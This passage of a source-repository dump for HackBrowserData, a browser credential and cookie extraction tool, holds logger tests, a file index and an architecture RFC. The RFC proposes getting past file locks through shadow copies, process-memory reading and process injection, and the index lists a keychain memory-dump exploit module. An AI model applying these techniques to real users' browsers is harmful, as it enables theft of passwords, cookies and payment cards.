		{
			description: "message with format prefix",
			format:      "hello, %d,%d,%d!",
			args:        []any{1, 2, 3},
		},
		{
			description: "message with format prefix",
			format:      "hello, %s,%d,%d!",
			args:        []any{"Hacker", 2, 3},
		},
	}
)

func TestLoggerDebugf(t *testing.T) {
	for _, tc := range formatTestCases {
		tc := tc
		tc.level = level2.DebugLevel
		message := fmt.Sprintf(tc.format, tc.args...)
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			logger := NewLogger(newBase(&buf))
			logger.SetLevel(level2.DebugLevel)
			logger.Debugf(tc.format, tc.args...)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
		})
	}
}

func TestLoggerWarnf(t *testing.T) {
	for _, tc := range formatTestCases {
		tc := tc
		tc.level = level2.WarnLevel
		message := fmt.Sprintf(tc.format, tc.args...)
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			logger := NewLogger(newBase(&buf))
			logger.Warnf(tc.format, tc.args...)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
		})
	}
}

func TestLoggerErrorf(t *testing.T) {
	for _, tc := range formatTestCases {
		tc := tc
		tc.level = level2.ErrorLevel
		message := fmt.Sprintf(tc.format, tc.args...)
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			logger := NewLogger(newBase(&buf))
			logger.Errorf(tc.format, tc.args...)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
		})
	}
}

func TestLoggerFatalf(t *testing.T) {
	originalOsExit := osExit
	defer func() { osExit = originalOsExit }()
	for _, tc := range formatTestCases {
		tc := tc
		tc.level = level2.FatalLevel
		message := fmt.Sprintf(tc.format, tc.args...)
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			exitCalled := false
			exitCode := 0
			osExit = func(code int) {
				exitCalled = true
				exitCode = code
			}
			logger := NewLogger(newBase(&buf))
			logger.Fatalf(tc.format, tc.args...)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
			assert.True(t, exitCalled)
			assert.Equal(t, 1, exitCode)
		})
	}
}

func TestLoggerWithLowerLevels(t *testing.T) {
	// Logger should not log messages at a level
	// lower than the specified level.
	levels := []level2.Level{level2.DebugLevel, level2.WarnLevel, level2.ErrorLevel, level2.FatalLevel}
	ops := []struct {
		op       string
		level    level2.Level
		logFunc  func(*Logger)
		expected bool
	}{
		{"Debug", level2.DebugLevel, func(l *Logger) { l.Debug("hello") }, false},
		{"Warn", level2.WarnLevel, func(l *Logger) { l.Warn("hello") }, false},
		{"Error", level2.ErrorLevel, func(l *Logger) { l.Error("hello") }, false},
		{"Fatal", level2.FatalLevel, func(l *Logger) { l.Fatal("hello") }, false},
	}

	for _, setLevel := range levels {
		for _, op := range ops {
			var buf bytes.Buffer
			logger := NewLogger(newBase(&buf))
			logger.SetLevel(setLevel)

			expectedOutput := op.level >= setLevel
			exitCalled := false
			exitCode := 0
			osExit = func(code int) {
				exitCalled = true
				exitCode = code
			}
			op.logFunc(logger)

			output := buf.String()
			if expectedOutput {
				assert.NotEmpty(t, output)
			} else {
				assert.Empty(t, output)
			}
			if op.op == "Fatal" {
				assert.True(t, exitCalled)
				assert.Equal(t, 1, exitCode)
			}
		}
	}
}


================================================
FILE: rfc/001-architecture-refactoring.md
================================================
# RFC-001: HackBrowserData Architecture Refactoring

**Author**: moonD4rk  
**Status**: Proposed  
**Created**: 2025-09-01  
**Updated**: 2025-09-01  

## Abstract

This RFC analyzes the current architectural issues in the HackBrowserData project and proposes refactoring directions. The core goal of the refactoring is to establish a modular, extensible, and testable architecture while supporting usage as a library that can be imported by other projects.

## Current Issues Analysis

### 1. Limited Encryption Version Support

**Current State**:
- Only supports Chrome v10 (Chrome 80+) AES-GCM encryption format
- Hardcoded "v10" prefix handling logic in the code
- Lacks version detection and dynamic selection mechanism

**Impact**:
- Unable to support data extraction from older browser versions
- Cannot adapt to future browser encryption algorithm upgrades (e.g., v11, v20)
- Chrome is introducing new encryption mechanisms (e.g., App-Bound Encryption in Chrome 127+), which the current architecture struggles to extend

### 2. Scattered Cross-Platform MasterKey Retrieval

**Current State**:
- Windows: Decrypts encrypted_key from Local State via DPAPI
- macOS: Accesses Keychain through security command, derives key using PBKDF2
- Linux: Accesses Secret Service via D-Bus or uses hardcoded "peanuts" salt

**Issues**:
- Each platform implementation is completely independent without a unified interface
- Difficult to add new key retrieval methods
- Code duplication and maintenance challenges
- Chrome on Windows is updating retrieval methods, requiring support for multiple strategies

### 3. Windows Cookie File Access Permission Issues

**Specific Issues**:
- On Windows, browsers lock Cookie files during runtime
- Direct reading may encounter "The process cannot access the file" errors
- Some security software blocks access to Cookie files

**Current Approach Limitations**:
- Simple file copying may fail due to file locking
- Lacks alternative access strategies (e.g., shadow copy, process injection)
- No abstraction for permission elevation or bypass mechanisms

### 4. Coupled Code Architecture

**Problems**:
- CLI logic mixed with core functionality
- Data extraction, decryption, and output are tightly coupled
- Uses global variables and functions, difficult to use as a library

**Specific Impact**:
- Cannot use core functionality independently
- Difficult to unit test
- Code reuse challenges

### 5. Inconsistent Error Handling

**Current State**:
- Some functions return errors, others directly use logging
- Error messages lack context (which browser, data type, platform)
- Cannot distinguish error severity (ignorable vs. fatal errors)

**Impact**:
- Debugging difficulties with insufficient error information
- Cannot implement flexible error handling strategies
- Inconsistent user experience

### 6. Testing and Maintenance Difficulties

**Issues**:
- Depends on real file system and browser installations
- Cannot mock system calls and external dependencies
- Low test coverage
- Adding new features requires modifying multiple code locations

## Architecture Improvement Proposals

### 1. Versioned Encryption Strategies

**Design Approach**:
- Create encryption version interface where each version implements its own detection and decryption logic
- Use registration mechanism to manage all supported versions
- Support both automatic detection and manual version specification

**Key Capabilities**:
- Version Detection: Automatically identify encryption version through data characteristics
- Version Registration: Dynamically register new encryption version implementations
- Priority Control: Try different versions by priority

### 2. Unified MasterKey Retrieval Abstraction

**Design Approach**:
- Define cross-platform MasterKey retrieval interface
- Each platform can have multiple retrieval strategies
- Support strategy chain, trying different methods sequentially

**Windows Strategy Examples**:
- DPAPI Strategy (traditional method)
- App-Bound Strategy (Chrome 127+)
- Cloud Sync Strategy (potential future)

**Key Capabilities**:
- Platform detection and automatic selection
- Strategy priority and fallback mechanisms
- Error handling and logging

### 3. File Access Abstraction Layer

**Design Approach**:
- Create file access interface encapsulating different access strategies
- For Windows Cookie issues, implement multiple access methods
- Provide unified error handling and retry mechanisms

**Windows Cookie Access Strategies**:
- Direct Copy (current method)
- Volume Shadow Copy Service (VSS)
- Memory Reading (from browser process)
- Stream Reading (bypass exclusive locks)

### 4. Layered Package Structure

**Design Principles**:
- Separate public API from internal implementation
- Separate interface definitions from concrete implementations
- Isolate platform-specific code

**Package Structure Plan**:
```
pkg/           # Public API (externally importable)
├── browser/   # Browser interface definitions
├── crypto/    # Encryption interface definitions
└── extractor/ # Data extractor interface definitions

internal/      # Internal implementation (not exposed)
├── browser/   # Browser implementations
├── crypto/    # Encryption algorithm implementations
└── platform/  # Platform-specific implementations
```

### 5. Improved Browser Interface

**Design Goals**:
- Support dependency injection
- Configurable and extensible
- Easy to test

**Core Methods**:
- Configuration settings (profile, crypto provider, etc.)
- Data extraction (support selecting data types)
- Capability queries (supported data types and platforms)

### 6. Unified Error Handling

**Design Approach**:
- Define structured error types
- Include rich context information
- Support error classification and handling strategies

**Error Information Should Include**:
- Operation type
- Browser name
- Data type
- Platform information
- Severity level
- Original error

### 7. Library API Design

**Design Goals**:
- Provide clean client interface
- Support convenient methods for common use cases
- Allow advanced users to customize behavior

**Use Cases**:
- Simple: One-click extraction of all browser data
- Advanced: Custom encryption versions, error handling, data filtering

### 8. Testing Strategy

**Improvement Directions**:
- Use interfaces instead of concrete implementations
- Support dependency injection
- Provide mock implementations

**Test Types**:
- Unit tests: Test independent components
- Integration tests: Test component interactions
- Platform tests: Test platform-specific functionality

## Implementation Recommendations

### Priority Levels

1. **High Priority**:
   - Versioned encryption strategies (solve version support issues)
   - MasterKey retrieval abstraction (unify cross-platform implementations)
   - Windows Cookie access issues (solve permission problems)

2. **Medium Priority**:
   - Browser interface refactoring
   - Unified error handling
   - Basic testing framework

3. **Low Priority**:
   - Complete library API
   - Advanced feature extensions
   - Performance optimizations

### Compatibility Considerations

- Keep CLI backward compatible, internally calling new architecture
- Provide migration documentation
- Gradually deprecate old APIs across versions

## Security Considerations

1. **Minimize Permissions**: Only request necessary system permissions
2. **Memory Safety**: Zero out sensitive data after use
3. **Error Messages**: Avoid leaking sensitive information
4. **Input Validation**: Strictly validate paths and data

## Open Questions

1. **File Access Strategy Selection**: How to automatically select the best file access strategy?
2. **Error Recovery**: How to gracefully recover and continue when encountering partial failures?
3. **Configuration Management**: Should configuration files be supported to control behavior?
4. **Plugin System**: Should user-defined data extractors be supported?

## References

- [Chromium OS Crypt](https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/)
- [Chrome Password Decryption](https://github.com/chromium/chromium/blob/main/components/os_crypt/sync/os_crypt_win.cc)
- [Firefox NSS](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS)
- [Windows File Locking](https://docs.microsoft.com/en-us/windows/win32/fileio/locking-and-unlocking-byte-ranges-in-files)

================================================
FILE: types/types.go
================================================
package types

import (
	"fmt"
	"os"
	"path/filepath"
)

type DataType int

const (
	ChromiumKey DataType = iota
	ChromiumPassword
	ChromiumCookie
	ChromiumBookmark
	ChromiumHistory
	ChromiumDownload
	ChromiumCreditCard
	ChromiumLocalStorage
	ChromiumSessionStorage
	ChromiumExtension

	YandexPassword
	YandexCreditCard

	FirefoxKey4
	FirefoxPassword
	FirefoxCookie
	FirefoxBookmark
	FirefoxHistory
	FirefoxDownload
	FirefoxCreditCard
	FirefoxLocalStorage
	FirefoxSessionStorage
	FirefoxExtension
)

var itemFileNames = map[DataType]string{
	ChromiumKey:            fileChromiumKey,
	ChromiumPassword:       
Download .txt
gitextract_fqj4wsxy/

├── .github/
│   ├── ISSUE_TEMPLATE/
│   │   ├── bug_report.md
│   │   └── feature_request.md
│   ├── PULL_REQUEST_TEMPLATE.md
│   ├── dependabot.yml
│   ├── release-drafter.yml
│   └── workflows/
│       ├── build.yml
│       ├── contributors.yml
│       ├── lint.yml
│       ├── release.yml
│       └── test.yml
├── .gitignore
├── .golangci.yml
├── .goreleaser.yml
├── .typos.toml
├── CLAUDE.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── browser/
│   ├── browser.go
│   ├── browser_darwin.go
│   ├── browser_linux.go
│   ├── browser_windows.go
│   ├── chromium/
│   │   ├── chromium.go
│   │   ├── chromium_darwin.go
│   │   ├── chromium_linux.go
│   │   └── chromium_windows.go
│   ├── consts.go
│   ├── exploit/
│   │   └── gcoredump/
│   │       └── gcoredump.go
│   └── firefox/
│       ├── firefox.go
│       └── firefox_test.go
├── browserdata/
│   ├── bookmark/
│   │   └── bookmark.go
│   ├── browserdata.go
│   ├── cookie/
│   │   └── cookie.go
│   ├── creditcard/
│   │   └── creditcard.go
│   ├── download/
│   │   └── download.go
│   ├── extension/
│   │   └── extension.go
│   ├── history/
│   │   └── history.go
│   ├── imports.go
│   ├── localstorage/
│   │   ├── localstorage.go
│   │   └── localstorage_test.go
│   ├── outputter.go
│   ├── outputter_test.go
│   ├── password/
│   │   └── password.go
│   └── sessionstorage/
│       └── sessionstorage.go
├── cmd/
│   └── hack-browser-data/
│       └── main.go
├── crypto/
│   ├── asn1pbe.go
│   ├── asn1pbe_test.go
│   ├── crypto.go
│   ├── crypto_darwin.go
│   ├── crypto_linux.go
│   ├── crypto_test.go
│   ├── crypto_windows.go
│   └── pbkdf2.go
├── extractor/
│   ├── extractor.go
│   └── registration.go
├── go.mod
├── go.sum
├── log/
│   ├── level/
│   │   └── level.go
│   ├── log.go
│   ├── logger.go
│   └── logger_test.go
├── rfc/
│   └── 001-architecture-refactoring.md
├── types/
│   ├── types.go
│   └── types_test.go
└── utils/
    ├── byteutil/
    │   └── byteutil.go
    ├── chainbreaker/
    │   ├── chainbreaker.go
    │   ├── chainbreaker_test.go
    │   └── testdata/
    │       └── test.keychain-db
    ├── fileutil/
    │   ├── filetutil.go
    │   └── fileutil_test.go
    └── typeutil/
        ├── typeutil.go
        └── typeutil_test.go
Download .txt
SYMBOL INDEX (467 symbols across 47 files)

FILE: browser/browser.go
  type Browser (line 16) | type Browser interface
  function PickBrowsers (line 24) | func PickBrowsers(name, profile string) ([]Browser, error) {
  function pickChromium (line 41) | func pickChromium(name, profile string) []Browser {
  function pickFirefox (line 80) | func pickFirefox(name, profile string) []Browser {
  function ListBrowsers (line 112) | func ListBrowsers() []string {
  function Names (line 120) | func Names() string {

FILE: browser/browser_darwin.go
  constant chromeStorageName (line 114) | chromeStorageName     = "Chrome"
  constant chromeBetaStorageName (line 115) | chromeBetaStorageName = "Chrome"
  constant chromiumStorageName (line 116) | chromiumStorageName   = "Chromium"
  constant edgeStorageName (line 117) | edgeStorageName       = "Microsoft Edge"
  constant braveStorageName (line 118) | braveStorageName      = "Brave"
  constant operaStorageName (line 119) | operaStorageName      = "Opera"
  constant vivaldiStorageName (line 120) | vivaldiStorageName    = "Vivaldi"
  constant coccocStorageName (line 121) | coccocStorageName     = "CocCoc"
  constant yandexStorageName (line 122) | yandexStorageName     = "Yandex"
  constant arcStorageName (line 123) | arcStorageName        = "Arc"

FILE: browser/browser_linux.go
  constant chromeStorageName (line 85) | chromeStorageName     = "Chrome Safe Storage"
  constant chromiumStorageName (line 86) | chromiumStorageName   = "Chromium Safe Storage"
  constant edgeStorageName (line 87) | edgeStorageName       = "Chromium Safe Storage"
  constant braveStorageName (line 88) | braveStorageName      = "Brave Safe Storage"
  constant chromeBetaStorageName (line 89) | chromeBetaStorageName = "Chrome Safe Storage"
  constant operaStorageName (line 90) | operaStorageName      = "Chromium Safe Storage"
  constant vivaldiStorageName (line 91) | vivaldiStorageName    = "Chrome Safe Storage"

FILE: browser/chromium/chromium.go
  type Chromium (line 16) | type Chromium struct
    method Name (line 49) | func (c *Chromium) Name() string {
    method BrowsingData (line 53) | func (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.Brows...
    method copyItemToLocal (line 85) | func (c *Chromium) copyItemToLocal() error {
    method userDataTypePaths (line 109) | func (c *Chromium) userDataTypePaths(profilePath string, items []types...
  function New (line 26) | func New(name, storage, profilePath string, dataTypes []types.DataType) ...
  function chromiumWalkFunc (line 140) | func chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]...
  function fillLocalStoragePath (line 176) | func fillLocalStoragePath(itemPaths map[types.DataType]string, storage t...

FILE: browser/chromium/chromium_darwin.go
  method GetMasterKey (line 25) | func (c *Chromium) GetMasterKey() ([]byte, error) {
  method parseSecret (line 62) | func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {

FILE: browser/chromium/chromium_linux.go
  method GetMasterKey (line 18) | func (c *Chromium) GetMasterKey() ([]byte, error) {

FILE: browser/chromium/chromium_windows.go
  method GetMasterKey (line 20) | func (c *Chromium) GetMasterKey() ([]byte, error) {

FILE: browser/consts.go
  constant chromeName (line 11) | chromeName     = "Chrome"
  constant chromeBetaName (line 12) | chromeBetaName = "Chrome Beta"
  constant chromiumName (line 13) | chromiumName   = "Chromium"
  constant edgeName (line 14) | edgeName       = "Microsoft Edge"
  constant braveName (line 15) | braveName      = "Brave"
  constant operaName (line 16) | operaName      = "Opera"
  constant operaGXName (line 17) | operaGXName    = "OperaGX"
  constant vivaldiName (line 18) | vivaldiName    = "Vivaldi"
  constant coccocName (line 19) | coccocName     = "CocCoc"
  constant yandexName (line 20) | yandexName     = "Yandex"
  constant firefoxName (line 21) | firefoxName    = "Firefox"
  constant speed360Name (line 22) | speed360Name   = "360speed"
  constant qqBrowserName (line 23) | qqBrowserName  = "QQ"
  constant dcBrowserName (line 24) | dcBrowserName  = "DC"
  constant sogouName (line 25) | sogouName      = "Sogou"
  constant arcName (line 26) | arcName        = "Arc"

FILE: browser/exploit/gcoredump/gcoredump.go
  function GetMacOSVersion (line 33) | func GetMacOSVersion() string {
  function FindProcessByName (line 41) | func FindProcessByName(name string, forceRoot bool) (int, error) {
  type addressRange (line 69) | type addressRange struct
  function DecryptKeychain (line 74) | func DecryptKeychain(storagename string) (string, error) {
  function findMallocSmallRegions (line 169) | func findMallocSmallRegions(pid int) ([]addressRange, error) {
  function getMallocSmallRegionData (line 204) | func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byt...
  function byteSliceToString (line 220) | func byteSliceToString(s []byte) string {

FILE: browser/firefox/firefox.go
  type Firefox (line 24) | type Firefox struct
    method copyItemToLocal (line 53) | func (f *Firefox) copyItemToLocal() error {
    method GetMasterKey (line 88) | func (f *Firefox) GetMasterKey() ([]byte, error) {
    method Name (line 286) | func (f *Firefox) Name() string {
    method BrowsingData (line 290) | func (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.Browse...
  function New (line 36) | func New(profilePath string, items []types.DataType) ([]*Firefox, error) {
  function firefoxWalkFunc (line 63) | func firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]m...
  function queryMetaData (line 141) | func queryMetaData(db *sql.DB) ([]byte, []byte, error) {
  type nssPrivateCandidate (line 150) | type nssPrivateCandidate struct
  function queryNssPrivateCandidates (line 155) | func queryNssPrivateCandidates(db *sql.DB) ([]nssPrivateCandidate, error) {
  function queryNssPrivate (line 180) | func queryNssPrivate(db *sql.DB) ([]byte, []byte, error) {
  type loginCipherPair (line 189) | type loginCipherPair struct
  function getFirefoxLoginCipherPairs (line 194) | func getFirefoxLoginCipherPairs() ([]loginCipherPair, error) {
  function canDecryptAnyLoginCipherPair (line 223) | func canDecryptAnyLoginCipherPair(masterKey []byte, pairs []loginCipherP...
  function processMasterKey (line 246) | func processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]b...

FILE: browser/firefox/firefox_test.go
  function TestQueryMetaData (line 10) | func TestQueryMetaData(t *testing.T) {
  function TestQueryNssPrivate (line 25) | func TestQueryNssPrivate(t *testing.T) {

FILE: browserdata/bookmark/bookmark.go
  function init (line 19) | func init() {
  type ChromiumBookmark (line 28) | type ChromiumBookmark
    method Extract (line 38) | func (c *ChromiumBookmark) Extract(_ []byte) error {
    method Name (line 90) | func (c *ChromiumBookmark) Name() string {
    method Len (line 94) | func (c *ChromiumBookmark) Len() int {
  type bookmark (line 30) | type bookmark struct
  constant bookmarkID (line 60) | bookmarkID       = "id"
  constant bookmarkAdded (line 61) | bookmarkAdded    = "date_added"
  constant bookmarkURL (line 62) | bookmarkURL      = "url"
  constant bookmarkName (line 63) | bookmarkName     = "name"
  constant bookmarkType (line 64) | bookmarkType     = "type"
  constant bookmarkChildren (line 65) | bookmarkChildren = "children"
  function getBookmarkChildren (line 68) | func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (child...
  type FirefoxBookmark (line 98) | type FirefoxBookmark
    method Extract (line 105) | func (f *FirefoxBookmark) Extract(_ []byte) error {
    method Name (line 144) | func (f *FirefoxBookmark) Name() string {
    method Len (line 148) | func (f *FirefoxBookmark) Len() int {
  constant queryFirefoxBookMark (line 101) | queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SEL...
  constant closeJournalMode (line 102) | closeJournalMode     = `PRAGMA journal_mode=off`
  function linkType (line 152) | func linkType(a int64) string {

FILE: browserdata/browserdata.go
  type BrowserData (line 10) | type BrowserData struct
    method Recovery (line 22) | func (d *BrowserData) Recovery(masterKey []byte) error {
    method Output (line 32) | func (d *BrowserData) Output(dir, browserName, flag string) {
    method addExtractors (line 59) | func (d *BrowserData) addExtractors(items []types.DataType) {
  function New (line 14) | func New(items []types.DataType) *BrowserData {

FILE: browserdata/cookie/cookie.go
  function init (line 19) | func init() {
  type ChromiumCookie (line 28) | type ChromiumCookie
    method Extract (line 48) | func (c *ChromiumCookie) Extract(masterKey []byte) error {
    method Name (line 105) | func (c *ChromiumCookie) Name() string {
    method Len (line 109) | func (c *ChromiumCookie) Len() int {
  type cookie (line 30) | type cookie struct
  constant queryChromiumCookie (line 45) | queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, cre...
  type FirefoxCookie (line 113) | type FirefoxCookie
    method Extract (line 119) | func (f *FirefoxCookie) Extract(_ []byte) error {
    method Name (line 159) | func (f *FirefoxCookie) Name() string {
    method Len (line 163) | func (f *FirefoxCookie) Len() int {
  constant queryFirefoxCookie (line 116) | queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expi...

FILE: browserdata/creditcard/creditcard.go
  function init (line 16) | func init() {
  type ChromiumCreditCard (line 25) | type ChromiumCreditCard
    method Extract (line 41) | func (c *ChromiumCreditCard) Extract(masterKey []byte) error {
    method Name (line 87) | func (c *ChromiumCreditCard) Name() string {
    method Len (line 91) | func (c *ChromiumCreditCard) Len() int {
  type card (line 27) | type card struct
  constant queryChromiumCredit (line 38) | queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expi...
  type YandexCreditCard (line 95) | type YandexCreditCard
    method Extract (line 97) | func (c *YandexCreditCard) Extract(masterKey []byte) error {
    method Name (line 141) | func (c *YandexCreditCard) Name() string {
    method Len (line 145) | func (c *YandexCreditCard) Len() int {

FILE: browserdata/download/download.go
  function init (line 19) | func init() {
  type ChromiumDownload (line 28) | type ChromiumDownload
    method Extract (line 43) | func (c *ChromiumDownload) Extract(_ []byte) error {
    method Name (line 79) | func (c *ChromiumDownload) Name() string {
    method Len (line 83) | func (c *ChromiumDownload) Len() int {
  type download (line 30) | type download struct
  constant queryChromiumDownload (line 40) | queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start...
  type FirefoxDownload (line 87) | type FirefoxDownload
    method Extract (line 94) | func (f *FirefoxDownload) Extract(_ []byte) error {
    method Name (line 140) | func (f *FirefoxDownload) Name() string {
    method Len (line 144) | func (f *FirefoxDownload) Len() int {
  constant queryFirefoxDownload (line 90) | queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dat...
  constant closeJournalMode (line 91) | closeJournalMode     = `PRAGMA journal_mode=off`

FILE: browserdata/extension/extension.go
  function init (line 16) | func init() {
  type ChromiumExtension (line 25) | type ChromiumExtension
    method Extract (line 37) | func (c *ChromiumExtension) Extract(_ []byte) error {
    method Name (line 114) | func (c *ChromiumExtension) Name() string {
    method Len (line 118) | func (c *ChromiumExtension) Len() int {
  type extension (line 27) | type extension struct
  function parseChromiumExtensions (line 52) | func parseChromiumExtensions(content string) ([]*extension, error) {
  function getChromiumExtURL (line 105) | func getChromiumExtURL(id, updateURL string) string {
  type FirefoxExtension (line 122) | type FirefoxExtension
    method Extract (line 126) | func (f *FirefoxExtension) Extract(_ []byte) error {
    method Name (line 181) | func (f *FirefoxExtension) Name() string {
    method Len (line 185) | func (f *FirefoxExtension) Len() int {
  function findFirefoxLocale (line 164) | func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) ...

FILE: browserdata/history/history.go
  function init (line 18) | func init() {
  type ChromiumHistory (line 27) | type ChromiumHistory
    method Extract (line 40) | func (c *ChromiumHistory) Extract(_ []byte) error {
    method Name (line 76) | func (c *ChromiumHistory) Name() string {
    method Len (line 80) | func (c *ChromiumHistory) Len() int {
  type history (line 29) | type history struct
  constant queryChromiumHistory (line 37) | queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time ...
  type FirefoxHistory (line 84) | type FirefoxHistory
    method Extract (line 91) | func (f *FirefoxHistory) Extract(_ []byte) error {
    method Name (line 131) | func (f *FirefoxHistory) Name() string {
    method Len (line 135) | func (f *FirefoxHistory) Len() int {
  constant queryFirefoxHistory (line 87) | queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COA...
  constant closeJournalMode (line 88) | closeJournalMode    = `PRAGMA journal_mode=off`

FILE: browserdata/localstorage/localstorage.go
  function init (line 21) | func init() {
  type ChromiumLocalStorage (line 30) | type ChromiumLocalStorage
    method Extract (line 41) | func (c *ChromiumLocalStorage) Extract(_ []byte) error {
    method Name (line 71) | func (c *ChromiumLocalStorage) Name() string {
    method Len (line 75) | func (c *ChromiumLocalStorage) Len() int {
  type storage (line 32) | type storage struct
    method fillKey (line 79) | func (s *storage) fillKey(b []byte) {
    method fillMetaHeader (line 90) | func (s *storage) fillMetaHeader(b []byte) {
    method fillHeader (line 94) | func (s *storage) fillHeader(url, key []byte) {
    method fillValue (line 106) | func (s *storage) fillValue(b []byte) {
    method fillFirefox (line 147) | func (s *storage) fillFirefox(originKey, key, value string) {
  constant maxLocalStorageValueLength (line 39) | maxLocalStorageValueLength = 1024 * 2
  function convertUTF16toUTF8 (line 99) | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byt...
  type FirefoxLocalStorage (line 111) | type FirefoxLocalStorage
    method Extract (line 118) | func (f *FirefoxLocalStorage) Extract(_ []byte) error {
    method Name (line 161) | func (f *FirefoxLocalStorage) Name() string {
    method Len (line 165) | func (f *FirefoxLocalStorage) Len() int {
  constant queryLocalStorage (line 114) | queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
  constant closeJournalMode (line 115) | closeJournalMode  = `PRAGMA journal_mode=off`

FILE: browserdata/localstorage/localstorage_test.go
  function TestLocalStorageKeyToUTF8 (line 22) | func TestLocalStorageKeyToUTF8(t *testing.T) {

FILE: browserdata/outputter.go
  type outPutter (line 18) | type outPutter struct
    method Write (line 33) | func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) ...
    method CreateFile (line 50) | func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
    method Ext (line 74) | func (o *outPutter) Ext() string {
  function newOutPutter (line 23) | func newOutPutter(flag string) *outPutter {

FILE: browserdata/outputter_test.go
  function TestNewOutPutter (line 8) | func TestNewOutPutter(t *testing.T) {

FILE: browserdata/password/password.go
  function init (line 20) | func init() {
  type ChromiumPassword (line 32) | type ChromiumPassword
    method Extract (line 47) | func (c *ChromiumPassword) Extract(masterKey []byte) error {
    method Name (line 101) | func (c *ChromiumPassword) Name() string {
    method Len (line 105) | func (c *ChromiumPassword) Len() int {
  type loginData (line 34) | type loginData struct
  constant queryChromiumLogin (line 44) | queryChromiumLogin = `SELECT origin_url, username_value, password_value,...
  type YandexPassword (line 109) | type YandexPassword
    method Extract (line 115) | func (c *YandexPassword) Extract(masterKey []byte) error {
    method Name (line 169) | func (c *YandexPassword) Name() string {
    method Len (line 173) | func (c *YandexPassword) Len() int {
  constant queryYandexLogin (line 112) | queryYandexLogin = `SELECT action_url, username_value, password_value, d...
  type FirefoxPassword (line 177) | type FirefoxPassword
    method Extract (line 179) | func (f *FirefoxPassword) Extract(globalSalt []byte) error {
    method Name (line 253) | func (f *FirefoxPassword) Name() string {
    method Len (line 257) | func (f *FirefoxPassword) Len() int {
  function getFirefoxLoginData (line 216) | func getFirefoxLoginData() ([]loginData, error) {

FILE: browserdata/sessionstorage/sessionstorage.go
  function init (line 21) | func init() {
  type ChromiumSessionStorage (line 30) | type ChromiumSessionStorage
    method Extract (line 41) | func (c *ChromiumSessionStorage) Extract(_ []byte) error {
    method Name (line 71) | func (c *ChromiumSessionStorage) Name() string {
    method Len (line 75) | func (c *ChromiumSessionStorage) Len() int {
  type session (line 32) | type session struct
    method fillKey (line 79) | func (s *session) fillKey(b []byte) {
    method fillMetaHeader (line 98) | func (s *session) fillMetaHeader(b []byte) {
    method fillHeader (line 102) | func (s *session) fillHeader(url, key []byte) {
    method fillValue (line 114) | func (s *session) fillValue(b []byte) {
    method fillFirefox (line 155) | func (s *session) fillFirefox(originKey, key, value string) {
  constant maxLocalStorageValueLength (line 39) | maxLocalStorageValueLength = 1024 * 2
  function convertUTF16toUTF8 (line 107) | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byt...
  type FirefoxSessionStorage (line 119) | type FirefoxSessionStorage
    method Extract (line 126) | func (f *FirefoxSessionStorage) Extract(_ []byte) error {
    method Name (line 169) | func (f *FirefoxSessionStorage) Name() string {
    method Len (line 173) | func (f *FirefoxSessionStorage) Len() int {
  constant querySessionStorage (line 122) | querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
  constant closeJournalMode (line 123) | closeJournalMode    = `PRAGMA journal_mode=off`

FILE: cmd/hack-browser-data/main.go
  function main (line 23) | func main() {
  function Execute (line 27) | func Execute() {

FILE: crypto/asn1pbe.go
  type ASN1PBE (line 11) | type ASN1PBE interface
  function NewASN1PBE (line 17) | func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
  type nssPBE (line 45) | type nssPBE struct
    method Decrypt (line 57) | func (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) {
    method Encrypt (line 63) | func (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
    method deriveKeyAndIV (line 71) | func (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
  type metaPBE (line 110) | type metaPBE struct
    method Decrypt (line 140) | func (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) {
    method Encrypt (line 146) | func (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
    method deriveKeyAndIV (line 152) | func (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
  type algoAttr (line 115) | type algoAttr struct
  type ivAttr (line 126) | type ivAttr struct
  type slatAttr (line 131) | type slatAttr struct
  type loginPBE (line 171) | type loginPBE struct
